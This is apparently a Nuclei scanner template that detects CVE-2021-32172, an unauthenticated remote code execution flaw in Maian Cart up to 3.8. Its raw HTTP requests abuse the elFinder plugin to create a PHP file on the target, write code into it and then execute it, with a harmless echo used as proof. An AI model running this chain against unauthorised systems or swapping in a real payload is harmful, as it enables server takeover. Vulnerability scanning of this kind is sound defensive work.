Maian Cart <=3.8 - Remote Code Execution

id: CVE-2021-32172

info:
  name: Maian Cart <=3.8 - Remote Code Execution
  author: pdteam
  severity: critical
  description: Maian Cart 3.0 to 3.8 via the elFinder file manager plugin contains a remote code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to a patched version of Maian Cart (>=3.8) to mitigate this vulnerability.
  reference:
    - https://dreyand.github.io/maian-cart-rce/
    - https://github.com/DreyAnd/maian-cart-rce
    - https://www.maianscriptworld.co.uk/critical-updates
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32172
    - https://www.maianscriptworld.co.uk/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-32172
    cwe-id: CWE-862
    epss-score: 0.66433
    epss-percentile: 0.99191
    cpe: cpe:2.3:a:maianscriptworld:maian_cart:3.8:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: maianscriptworld
    product: maian_cart
  tags: cve2021,cve,rce,unauth,maian,intrusive,maianscriptworld,vkev,vuln

http:
  - raw:
      - |
        GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, /; q=0.01
        Accept-Language: en-US,en;q=0.5
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        cmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e
      - |
        GET /product-downloads/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - contains(body_3, "{{randstr_1}}")
          - status_code_3 == 200
        condition: and

    extractors:
      - type: regex
        name: hash
        group: 1
        regex:
          - '"hash"\:"(.*?)"\,'
        internal: true
# digest: 4a0a0047304502210095facf152840b47d2b0635004c20a07062a210c98885c35fa0970f25980c111402201cc15d0def59c4e6e5fcccbbcf0694010dfd81d46b32ad2e2f466ea7c9889d06:922c64590222798bb761d5b6d8e72950